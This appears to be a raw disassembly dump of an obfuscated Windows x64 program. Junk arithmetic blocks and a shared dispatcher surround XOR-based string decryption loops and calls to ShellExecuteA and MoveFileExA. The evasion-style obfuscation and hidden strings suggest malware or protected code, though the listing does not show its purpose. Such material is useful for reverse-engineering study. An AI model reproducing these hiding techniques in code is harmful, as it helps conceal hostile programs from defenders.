lea rcx, [rbp - 0x50]
jmp 0x140130606
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp - 0x48]
call fcn.14013a910
test rax, rax
jne 0x140130673
push rax
pushf
mov eax, 0x8caaf49b
pushf
not eax
add eax, 0x9918d6b1
xor eax, 0xd71fa474
rol eax, 0xef
popf
pushf
not eax
add eax, 0xfea41415
xor eax, 0xe7ffe9ed
rol eax, 0xc4
popf
pushf
not eax
add eax, 0xf3cf3568
xor eax, 0x9a22330d
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xaf4f4bf6
xor eax, 0x9bea0be3
rol eax, 0xb2
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0x8b8d7b6e
pushf
not eax
add eax, 0xd1fe7e5a
xor eax, 0xc4baa848
rol eax, 0xc4
popf
pushf
not eax
add eax, 0xb55d2f3f
xor eax, 0xf812dc6c
rol eax, 0x28
popf
pushf
not eax
add eax, 0xb0412010
xor eax, 0xffe75d9f
rol eax, 0xb5
popf
jmp 0x14012efe3
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x50]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
xor r8d, r8d
lea edx, [r8 + 2]
jmp 0x1401306d9
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
push rax
pushf
mov eax, 0x5e5b4be5
pushf
not eax
add eax, 0xf2e040fa
xor eax, 0xde10346b
rol eax, 0xf
popf
pushf
not eax
add eax, 0xe9f2dc11
xor eax, 0x89333186
rol eax, 0xba
popf
jmp 0x14012efe3
lea r8, [rbp - 0x70]
mov eax, dword [str.VJR]
mov dword [rsp + 0x30], eax
movzx eax, byte [0x140076fc4]
cmp qword [rbp - 0x58], 0xf
jbe 0x140130761
push rax
pushf
mov eax, 0xf8d0b5f6
pushf
not eax
add eax, 0xd9274ec7
xor eax, 0xb6e95840
rol eax, 0x7f
popf
pushf
not eax
add eax, 0xeca2bd4e
xor eax, 0xc142dec5
rol eax, 0xbb
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0xae335b1
pushf
not eax
add eax, 0xadc81b52
xor eax, 0x84b4c542
rol eax, 0x14
popf
pushf
not eax
add eax, 0xbd433d48
xor eax, 0xa0d2d8f2
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xfbf95996
xor eax, 0xdbd3e896
rol eax, 0xcf
popf
jmp 0x14012efe3
mov r8, qword [rbp - 0x70]
push rax
pushf
mov eax, 0x88040e32
pushf
not eax
add eax, 0xd5c5437d
xor eax, 0x8b8daa96
rol eax, 0xe7
popf
pushf
not eax
add eax, 0x83249036
xor eax, 0xd7b35f6a
rol eax, 0x54
popf
pushf
not eax
add eax, 0xcd6c9ea0
xor eax, 0xe1e3e83f
rol eax, 0x60
popf
jmp 0x14012efe3
mov byte [rsp + 0x30], reloc.WS2_32.dll_WSAGetLastError
xor byte [rsp + 0x31], 0x3a
xor byte [rsp + 0x32], 0x3b
xor byte [rsp + 0x33], 0x3c
xor al, 0x3d
mov byte [rsp + 0x34], al
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea rdx, [rsp + 0x30]
xor ecx, ecx
jmp 0x140130823
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x140130865
push rax
pushf
mov eax, 0xa8809eea
pushf
not eax
add eax, 0xb7d03db1
xor eax, 0x8f0964f1
rol eax, 0x10
popf
pushf
not eax
add eax, 0xc94193fd
xor eax, 0xcf0a13b7
rol eax, 0x45
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0x2021f34
pushf
not eax
add eax, 0x9a57067b
xor eax, 0xd4c896e0
rol eax, 0xbe
popf
pushf
not eax
add eax, 0x9261634b
xor eax, 0xff3a47d9
rol eax, 0x5d
popf
jmp 0x14012efe3
movups xmm0, xmmword [str.HISO]
movups xmmword [rbp + 0x1c0], xmm0
movsd xmm0, qword [0x140076ea0]
movsd qword [rbp + 0x1d0], xmm0
mov eax, dword [0x140076ea8]
mov dword [rbp + 0x1d8], eax
movzx eax, word [0x140076eac]
mov word [rbp + 0x1dc], ax
movzx eax, byte [0x140076eae]
mov byte [rbp + 0x1de], al
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140130943
push rax
pushf
mov eax, 0xebec1b78
pushf
not eax
add eax, 0xd0aeca42
xor eax, 0xb45fb255
rol eax, 0x9a
popf
pushf
not eax
add eax, 0x8449fc9a
xor eax, 0xd6524ec9
rol eax, 0x61
popf
pushf
not eax
add eax, 0x91a09531
xor eax, 0xa27a116b
rol eax, 0xfc
popf
pushf
not eax
add eax, 0x89f743f5
xor eax, 0xffaed691
rol eax, 0x76
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0xe05a12a
pushf
not eax
add eax, 0xf06310fb
xor eax, 0x8613f752
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xee78adef
xor eax, 0x93d002aa
rol eax, 0xac
popf
pushf
not eax
add eax, 0xbed9ebc0
xor eax, 0xda44ee99
rol eax, 0x3f
popf
jmp 0x14012efe3
movdqa xmm5, xmmword [0x140078130]
movdqa xmm4, xmmword [0x1400781d0]
movdqa xmm6, xmmword [0x140078150]
movdqa xmm0, xmmword [str.9999999999999999O]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x1c4]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
push rax
pushf
mov eax, 0xead32e9b
pushf
not eax
add eax, 0xf56a32aa
xor eax, 0xc38536b2
rol eax, 0x23
popf
pushf
not eax
add eax, 0xdbe3c3a9
xor eax, 0x935269c2
rol eax, 0x77
popf
jmp 0x14012efe3
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x18
jl 0x140130b49
push rax
pushf
mov eax, 0xe702d66b
pushf
not eax
add eax, 0xc5b2e781
xor eax, 0xbd18389f
rol eax, 0xe2
popf
pushf
not eax
add eax, 0x833eb62b
xor eax, 0xffdc4c45
rol eax, 0x9a
popf
pushf
not eax
add eax, 0x8666422b
xor eax, 0xc099d6e1
rol eax, 0x78
popf
pushf
not eax
add eax, 0xeae95061
xor eax, 0xa232af70
rol eax, 0xa4
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0xbedd13f7
pushf
not eax
add eax, 0xa87c8878
xor eax, 0xbdcab4ff
rol eax, 0x72
popf
pushf
not eax
add eax, 0xa16dc14b
xor eax, 0x9ff86ff3
rol eax, 0x4e
popf
jmp 0x14012efe3
cmp eax, 0x1f
jge 0x140130bda
push rax
pushf
mov eax, 0x4e20443c
pushf
not eax
add eax, 0xdca5c72f
xor eax, 0xd9091a38
rol eax, 0xd
popf
pushf
not eax
add eax, 0xcb5ed80b
xor eax, 0xa4eebf40
rol eax, 0x26
popf
pushf
not eax
add eax, 0xe627fc64
xor eax, 0xcc58010e
rol eax, 0xff
popf
pushf
not eax
add eax, 0x96633d84
xor eax, 0xcae18b0a
rol eax, 0x26
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0x4d6d64f3
pushf
not eax
add eax, 0xcf169d64
xor eax, 0xdbe9c46c
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xefdbe2d2
xor eax, 0xaedda677
rol eax, 0x34
popf
jmp 0x14012efe3
movsxd rax, ebx
lea r8, [rbp + 0x1c0]
push rax
not rax
sub r8, rax
pop rax
sub r8, 1
nop
push rax
pushf
mov eax, 0x208c54fb
pushf
not eax
add eax, 0xb43cc873
xor eax, 0xfa16351a
rol eax, 0x65
popf
pushf
not eax
add eax, 0xf204a4d5
xor eax, 0xde23e433
rol eax, 0x6f
popf
pushf
not eax
add eax, 0x88629c71
xor eax, 0xc8656b84
rol eax, 0x73
popf
pushf
not eax
add eax, 0xce16ed34
xor eax, 0xc141b74b
rol eax, 0x6c
popf
jmp 0x14012efe3
mov eax, 0x96496400
pushf
not eax
add eax, 0x9c6a0de2
xor eax, 0xbf9a29b7
rol eax, 0x9c
popf
pushf
not eax
add eax, 0xd0f646b2
xor eax, 0xc2936e25
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xdb69aa01
xor eax, 0xbfbbd759
rol eax, 0xf6
popf
pushf
not eax
add eax, 0x8012e35d
xor eax, 0xbee2a9cc
rol eax, 9
popf
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul edx, eax, 0x34
movzx eax, bl
sub al, dl
add al, 0x39
xor byte [r8], al
jmp 0x140130cf2
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x1f
jl 0x140130d56
push rax
pushf
mov eax, 0x63606700
pushf
not eax
add eax, 0xf6b0c8d1
xor eax, 0xc5c5bd75
rol eax, 0xfd
popf
pushf
not eax
add eax, 0xb6750b9c
xor eax, 0xdca71c3a
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xd6cfce58
xor eax, 0xc5752b53
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xd3fb5a98
xor eax, 0xf3b577ad
rol eax, 0x9c
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0x588a93da
pushf
not eax
add eax, 0x953471e3
xor eax, 0xde63ff5a
rol eax, 0x61
popf
pushf
not eax
add eax, 0x997a4f2c
xor eax, 0xe5641f8b
rol eax, 0x29
popf
pushf
not eax
add eax, 0x8a4d8dc8
xor eax, 0xddfa4e98
rol eax, 0x47
popf
pushf
not eax
add eax, 0xae31f4c0
xor eax, 0xef931390
rol eax, 0x84
popf
jmp 0x14012efe3
lea rdx, [rbp + 0x1c0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14011950b
mov rbx, rax
jmp 0x140130dc6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
jmp 0x140130dd2
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
jmp 0x140131c61
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova rcx, qword [rbp - 0x70]
xor edx, edx
lea r8d, [rdx + 4]
jmp 0x140130e38
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x140130e79
push rax
pushf
mov eax, 0x520f4755
pushf
not eax
add eax, 0xb04588be
xor eax, 0xc9255072
rol eax, 0x83
popf
pushf
not eax
add eax, 0xace6b629
xor eax, 0xf44e2d51
rol eax, 0x23
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0x2a319846
pushf
not eax
add eax, 0xa1e488c4
xor eax, 0x975d4456
rol eax, 0x89
popf
pushf
not eax
add eax, 0x8c6726bd
xor eax, 0xe7af8b6c
rol eax, 6
popf
pushf
not eax
add eax, 0xde2348a4
xor eax, 0xd9304d72
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xa24c0477
xor eax, 0xb9db2ddd
rol eax, 0x9d
popf
jmp 0x14012efe3
movups xmm0, xmmword [0x140076d18]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x140076d28]
movups xmmword [rsp + 0x60], xmm1
movzx eax, word [0x140076d38]
mov word [rsp + 0x70], ax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140130f36
push rax
pushf
mov eax, 0x2bef5d77
pushf
not eax
add eax, 0xf24c51d3
xor eax, 0xd91d9654
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xddcc9e97
xor eax, 0xa14f9846
rol eax, 0x7d
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0x5305a184
pushf
not eax
add eax, 0xa0a50d6e
xor eax, 0xdf57bd53
rol eax, 0x6c
popf
pushf
not eax
add eax, 0xda06ccc7
xor eax, 0xd6afda18
rol eax, 0x23
popf
pushf
not eax
add eax, 0xd06ae097
xor eax, 0xfec34c82
rol eax, 0x97
popf
jmp 0x14012efe3
movdqa xmm5, xmmword [0x140078130]
movdqa xmm4, xmmword [0x1400781d0]
movdqa xmm6, xmmword [0x140078150]
movdqa xmm0, xmmword [str.9999999999999999O]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
push rax
pushf
mov eax, 0x9f309437
pushf
not eax
add eax, 0x8b2f497f
xor eax, 0xbe8b9186
rol eax, 0x1e
popf
pushf
not eax
add eax, 0x9d4b0a6d
xor eax, 0xee658502
rol eax, 0x7c
popf
pushf
not eax
add eax, 0xc4f45c53
xor eax, 0xda5a880f
rol eax, 0x75
popf
jmp 0x14012efe3
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x20
jl 0x14013113a
push rax
pushf
mov eax, 0xdba6f155
pushf
not eax
add eax, 0xa7bbec7b
xor eax, 0xf557504c
rol eax, 0x17
popf
pushf
not eax
add eax, 0x9cf80b26
xor eax, 0xe0fa9376
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xbda305a9
xor eax, 0xec72c5f9
rol eax, 0xfb
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0x87e0a907
pushf
not eax
add eax, 0x9bdb31a8
xor eax, 0x84a91aa2
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xa7c2d5bd
xor eax, 0xbd503d6a
rol eax, 0xd6
popf
jmp 0x14012efe3
cmp eax, 0x22
jge 0x1401311ca
push rax
pushf
mov eax, 0xdc6d68f3
pushf
not eax
add eax, 0xa24c8ccd
xor eax, 0xbb4e8b33
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xd590066e
xor eax, 0xc8bdce56
rol eax, 0x65
popf
pushf
not eax
add eax, 0xe5332a71
xor eax, 0xfb467dcf
rol eax, 1
popf
pushf
not eax
add eax, 0xe05b62b3
xor eax, 0xa20ed563
rol eax, 0xb1
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0x2b901210
pushf
not eax
add eax, 0xbc950cff
xor eax, 0xb9b41508
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xaa45c7f7
xor eax, 0xa76bfea2
rol eax, 0xb
popf
pushf
not eax
add eax, 0xae521f9e
xor eax, 0x96670e44
rol eax, 0x11
popf
jmp 0x14012efe3
movsxd rax, ebx
lea r8, [rsp + 0x50]
push rax
not rax
sub r8, rax
pop rax
sub r8, 1
nop dword [rax]
push rax
pushf
mov eax, 0x2fc22349
pushf
not eax
add eax, 0x9baf94ba
xor eax, 0xfb2e8171
rol eax, 0x14
popf
pushf
not eax
add eax, 0x95bae630
xor eax, 0x9492dcb2
rol eax, 0x61
popf
pushf
not eax
add eax, 0xfb59c613
xor eax, 0x883b5816
rol eax, 0x65
popf
pushf
not eax
add eax, 0xa6e44c1d
xor eax, 0x8f17d90e
rol eax, 0x2c
popf
jmp 0x14012efe3
mov eax, 0x98122826
pushf
not eax
add eax, 0xbc3e48d9
xor eax, 0xba80b4ca
rol eax, 0x13
popf
pushf
not eax
add eax, 0xe1394375
xor eax, 0xa0fd968e
rol eax, 0xbf
popf
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul edx, eax, 0x34
movzx eax, bl
sub al, dl
add al, 0x39
xor byte [r8], al
jmp 0x1401312cf
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x22
jl 0x140131333
push rax
pushf
mov eax, 0xf508e766
pushf
not eax
add eax, 0xa682ba83
xor eax, 0xdfac86f7
rol eax, 0x72
popf
pushf
not eax
add eax, 0x948aebcc
xor eax, 0xa937edad
rol eax, 0xa0
popf
pushf
not eax
add eax, 0x93348a43
xor eax, 0xf24af8b6
rol eax, 0x65
popf
pushf
not eax
add eax, 0xa401cb31
xor eax, 0xc3cb310f
rol eax, 0xaf
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0x50bc8776
pushf
not eax
add eax, 0xfdd1e7e7
xor eax, 0xad74576d
rol eax, 0x25
popf
pushf
not eax
add eax, 0xccedce7a
xor eax, 0x9203f779
rol eax, 0x96
popf
pushf
not eax
add eax, 0xfde947b0
xor eax, 0x95fa16ab
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xda66e7d8
xor eax, 0xd4936f77
rol eax, 0x73
popf
jmp 0x14012efe3
lea rdx, [rsp + 0x50]
jmp 0x140130db6
movsd xmm0, qword [str.HRJXL]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x140076e88]
mov dword [rsp + 0x48], eax
movzx eax, word [0x140076e8c]
mov word [rsp + 0x4c], ax
movzx eax, byte [0x140076e8e]
mov byte [rsp + 0x4e], al
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140131474
push rax
pushf
mov eax, 0xf686c7c7
pushf
not eax
add eax, 0xf252527d
xor eax, 0xb545c8e1
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xb54fb616
xor eax, 0xca033f37
rol eax, 0x9e
popf
pushf
not eax
add eax, 0xd70795f1
xor eax, 0xa96e3ef5
rol eax, 0x11
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0xaecca6f3
pushf
not eax
add eax, 0x89945e96
xor eax, 0xb2d03a38
rol eax, 0xc2
popf
pushf
not eax
add eax, 0x9e77945a
xor eax, 0xfe1f7df0
rol eax, 0xf3
popf
jmp 0x14012efe3
movdqa xmm4, xmmword [0x1400781d0]
movdqa xmm2, xmmword [0x140078130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140078150]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781b0]
packuswb xmm2, xmm2
mov eax, dword [str.9999999999999999O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.HRJXL]
xorps xmm2, xmm0
movd dword [rsp + 0x40], xmm2
movdqa xmm3, xmmword [0x140078140]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140078150]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x44]
xorps xmm2, xmm1
movd dword [rsp + 0x44], xmm2
mov r8d, 0xdf55a9c2
pushf
not r8d
add r8d, 0x93abd6a4
xor r8d, 0xf403f21b
rol r8d, 0x83
popf
pushf
not r8d
add r8d, 0xbd33b5f7
xor r8d, 0x894ff267
rol r8d, 0x82
popf
pushf
not r8d
add r8d, 0xef0f8a01
xor r8d, 0x88229d4e
rol r8d, 0xab
popf
pushf
not r8d
add r8d, 0xde0f15af
xor r8d, 0xd76140f0
rol r8d, 0xcc
popf
push rax
pushf
mov eax, 0xc6813579
pushf
not eax
add eax, 0xa94f504c
xor eax, 0x9eebed52
rol eax, 0x92
popf
pushf
not eax
add eax, 0xdc902e46
xor eax, 0xfe8e3d9f
rol eax, 0x40
popf
jmp 0x14012efe3
movsxd rax, r8d
lea r9, [rsp + 0x40]
push rax
not rax
sub r9, rax
pop rax
sub r9, 1
nop dword [rax]
nop word [rax + rax]
push rax
pushf
mov eax, 0xb7550d45
pushf
not eax
add eax, 0xd4e59ef6
xor eax, 0xd6f2676f
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xe9cc1542
xor eax, 0xfa9e8967
rol eax, 0x45
popf
jmp 0x14012efe3
mov eax, 0xbcad2798
pushf
not eax
add eax, 0xc8d9931c
xor eax, 0xbbfc1c6f
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xb3e8af22
xor eax, 0xab88dd04
rol eax, 0x94
popf
pushf
not eax
add eax, 0x991e02cc
xor eax, 0xfd0176ce
rol eax, 0x53
popf
pushf
not eax
add eax, 0xbe0c9ce0
xor eax, 0xa38df9f8
rol eax, 0x5c
popf
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x14013175e
push rax
pushf
mov eax, 0x30122da6
pushf
not eax
add eax, 0xb5299a70
xor eax, 0x95276805
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xe9a1efab
xor eax, 0xa9031d73
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xd8665a17
xor eax, 0xcaa2fd10
rol eax, 0x83
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0x443fdbb2
pushf
not eax
add eax, 0xf10b8ff8
xor eax, 0x9cec312f
rol eax, 0xc5
popf
pushf
not eax
add eax, 0x87775fa9
xor eax, 0x82e2b262
rol eax, 0xf
popf
jmp 0x14012efe3
lea rcx, [rsp + 0x40]
call fcn.14011fa60
jmp 0x140131cc5
movups xmm0, xmmword [str.lTZQ_]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x140076d80]
movups xmmword [rsp + 0x60], xmm1
movzx eax, byte [0x140076d90]
mov byte [rsp + 0x70], al
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140131849
push rax
pushf
mov eax, 0x41e56127
pushf
not eax
add eax, 0xbe5f71ab
xor eax, 0xab9a82cf
rol eax, 0x40
popf
pushf
not eax
add eax, 0x9ca7a1ea
xor eax, 0x84c70f90
rol eax, 0x62
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0x5eccd065
pushf
not eax
add eax, 0x9e22d7ea
xor eax, 0xcedb297b
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xe9655964
xor eax, 0xc64afb65
rol eax, 5
popf
jmp 0x14012efe3
movdqa xmm5, xmmword [0x140078130]
movdqa xmm4, xmmword [0x1400781d0]
movdqa xmm6, xmmword [0x140078150]
movdqa xmm0, xmmword [str.9999999999999999O]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rsp + 0x40]
nop
push rax
pushf
mov eax, 0xd1ac3315
pushf
not eax
add eax, 0xabe8276e
xor eax, 0xd245a494
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xb53df20f
xor eax, 0xc5fa09ea
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xf6d7a6d7
xor eax, 0xa0b9cd12
rol eax, 0x7c
popf
jmp 0x14012efe3
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x20
jl 0x140131a23
push rax
pushf
mov eax, 0x94e836ec
pushf
not eax
add eax, 0xbb4c9be6
xor eax, 0xe8aee457
rol eax, 0x13
popf
pushf
not eax
add eax, 0xa0da3f0f
xor eax, 0x80e3c8ba
rol eax, 0x89
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0x76607644
pushf
not eax
add eax, 0xe16ef904
xor eax, 0x844a5ce8
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xdc08efe8
xor eax, 0xa0b8861b
rol eax, 0x57
popf
pushf
not eax
add eax, 0xfe5052b0
xor eax, 0xdad00b10
rol eax, 0x6c
popf
jmp 0x14012efe3
cmp eax, 0x21
jge 0x140131aa1
push rax
pushf
mov eax, 0xd6da9057
pushf
not eax
add eax, 0xf6a5a46f
xor eax, 0xbdf7ed23
rol eax, 0x13
popf
pushf
not eax
add eax, 0xb160c016
xor eax, 0xe7bb4e2e
rol eax, 0x96
popf
jmp 0x14012efe3
push rax
pushf
mov eax, 0x4fdf5c0b
pushf
not eax
add eax, 0xf5065aaf
xor eax, 0xf297dd3e
rol eax, 0xe6
popf
pushf
not eax
add eax, 0xb37bbe80
xor eax, 0xc732d710
rol eax, 0xe0
popf
jmp 0x14012efe3
movsxd rax, ebx
lea r8, [rsp + 0x50]
push rax
not rax
sub r8, rax
pop rax
sub r8, 1
nop dword [rax]
push rax
pushf
mov eax, 0xc6715cd0
pushf
not eax
add eax, 0xce7c79f6
xor eax, 0xb5cd7c3d
rol eax, 0xc7
popf
pushf
not eax
add eax, 0xa837431a
